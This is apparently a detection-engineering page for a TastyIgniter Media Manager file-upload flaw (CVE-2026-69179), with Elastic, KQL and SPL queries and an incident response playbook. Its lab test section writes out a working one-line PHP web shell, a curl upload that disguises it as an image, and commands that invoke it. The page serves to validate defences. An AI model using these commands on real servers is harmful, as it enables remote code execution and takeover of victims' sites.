Detect TastyIgniter Media Manager Unrestricted File Upload RCE (CVE-2026-69179) in Elastic Security
Detects exploitation of CVE-2026-69179, an unrestricted file upload vulnerability (CWE-434) in the TastyIgniter Media Manager (versions < 4.3.1). An authenticated or weakly-authorized actor uploads an executable file (e.g. a PHP web shell) via the Media Manager upload endpoint and then requests that file under the public media/assets directory, achieving remote code execution. Detection focuses on uploads of executable content to media paths followed by subsequent requests to those uploaded files, anomalous child processes spawned by the PHP/web-server user, and webshell indicators in server telemetry. CVSS 9.1, PoC public.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-7fec5eb3d0 · https://df00tech.com/detections/CVE-2026-69179 · licence: https://df00tech.com/detections/licence
sequence by source.ip with maxspan=10m
[ network where http.request.method == "POST" and
stringContains(url.path, "media_manager") and
(endsWith(url.path, ".php") or endsWith(url.path, ".phtml") or endsWith(url.path, ".phar")) ]
[ network where http.request.method == "GET" and
stringContains(url.path, "/media/") and endsWith(url.path, ".php") ] Sequences an executable upload POST to the Media Manager followed by a GET to the uploaded PHP artifact from the same source IP within ten minutes.
Data Sources
Required Tables
False Positives & Tuning
- Admin uploading and then previewing a legitimately-named file
- Synthetic monitoring hitting media endpoints
- Automated backups touching media directories over HTTP
Other platforms for CVE-2026-69179
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 PHP webshell upload to Media Manager path (lab)
Expected signal: Web server access log entry: POST /admin/media_manager/upload with a .php payload and 200/302 response.
- Test 2 Invoke uploaded webshell
Expected signal: Web server access log: GET /media/shell.php?c=id returning 200; php-fpm spawns an 'id' child process.
- Test 3 Webshell spawns reverse shell child process
Expected signal: ProcessRollup2 event: parent php-fpm/apache2 -> child bash executing recon commands.
References (4)
Response Playbook
Triage
- Identify the source IP and authenticated session/user that issued the POST to the Media Manager endpoint and determine whether the account is a legitimate administrator.
- Confirm the TastyIgniter version from composer.lock or the admin footer; versions < 4.3.1 are vulnerable. Verify whether the patch (commit 74299ffb) or release v4.3.1 is applied.
- Inspect the storage/app/media (and public media symlink) directory for files with executable extensions (.php, .phtml, .phar) or recently-created files with unexpected MIME/extension mismatches.
- Correlate the upload POST with any subsequent GET requests to the same uploaded filename, which indicate the webshell was invoked.
Containment
- Quarantine or remove any identified webshell files from the media/storage directory and revoke the compromised admin session/token.
- Block the attacking source IP at the WAF/reverse proxy and disable or reset the implicated administrator account credentials.
- Upgrade TastyIgniter to >= 4.3.1 or apply commit 74299ffb to restrict Media Manager uploads to safe MIME/extension allowlists.
Evidence Collection
- Preserve web server access/error logs (IIS W3C or nginx/apache) covering the upload and subsequent access of the uploaded file.
- Capture the uploaded file(s) with hashes and timestamps, and image the storage/app/media directory for forensic analysis.
- Collect process execution telemetry (EDR) for the php/php-fpm/web-server process tree around the time of the GET request to the webshell.
Escalation Criteria
- !Escalate to incident response if a child process (shell, recon tool, or outbound connection) was spawned by the web-server/PHP process, indicating confirmed RCE.
- !Escalate if evidence shows lateral movement, credential access, or data exfiltration following the upload.
- !Escalate if the webshell was accessed from multiple distinct source IPs or persisted across restarts.
Investigation Guide
Forensic Artifacts
- >
Files with executable extensions under storage/app/media or the public media symlink - >
Web server access logs showing the POST upload and subsequent GET to the artifact - >
PHP-FPM/apache/nginx error logs and process-tree records of spawned shells
Tuning Guidance
Establish a baseline of legitimate media upload activity from known administrator accounts and source IPs, then exclude those from alerting. Tighten the executable-extension list to the dialects your stack actually serves (PHP is primary for TastyIgniter). If your web server rewrites or hashes uploaded filenames, adjust the regex to match the storage naming scheme. Prioritize alerts where an upload POST is followed by a GET to the same artifact.
Hunting Queries
Hunts for successful GET requests to PHP files under media directories, a strong indicator a webshell was invoked after upload.
// df00tech DF00-7fec5eb3d0 · https://df00tech.com/detections/CVE-2026-69179 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "media" and csUriStem endswith ".php" and csMethod == "GET" and scStatus == 200 | project TimeGenerated, cIP, csUriStem, csUserAgent ``` df00tech DF00-7fec5eb3d0 · https://df00tech.com/detections/CVE-2026-69179 · licence: https://df00tech.com/detections/licence ```
index=web (sourcetype=iis OR sourcetype=access_combined) uri="*/media/*.php" method=GET status=200 | stats count values(uri) by src_ip Atomic Red Team Tests
Simulates an unrestricted file upload of a PHP webshell to the TastyIgniter Media Manager endpoint in a lab instance.
Command
printf '<?php echo shell_exec($_GET["c"]); ?>' > /tmp/shell.php && curl -s -b "$ADMIN_COOKIE" -F 'file=@/tmp/shell.php;type=image/png' 'http://tastyigniter.lab/admin/media_manager/upload' Cleanup
rm -f /tmp/shell.php && curl -s -b "$ADMIN_COOKIE" -X POST 'http://tastyigniter.lab/admin/media_manager/delete' --data 'path=media/shell.php' Expected Telemetry
Web server access log entry: POST /admin/media_manager/upload with a .php payload and 200/302 response.
Expected Detection
KQL/SPL upload rules flag the POST of an executable extension to the media manager path.
Requests the previously uploaded PHP webshell to execute a command, demonstrating RCE.
Command
curl -s 'http://tastyigniter.lab/media/shell.php?c=id' Cleanup
rm -f /tmp/shell.php Expected Telemetry
Web server access log: GET /media/shell.php?c=id returning 200; php-fpm spawns an 'id' child process.
Expected Detection
Hunting query for GET to media/*.php and CrowdStrike CQL webshell child-process rule fire.
Simulates a webshell-spawned shell under the web-server user to validate EDR process-tree detection.
Command
sudo -u www-data bash -c 'bash -c "id; uname -a"' Cleanup
echo 'no artifacts to clean' Expected Telemetry
ProcessRollup2 event: parent php-fpm/apache2 -> child bash executing recon commands.
Expected Detection
CrowdStrike CQL rule matching shell child processes under php/web-server parent fires.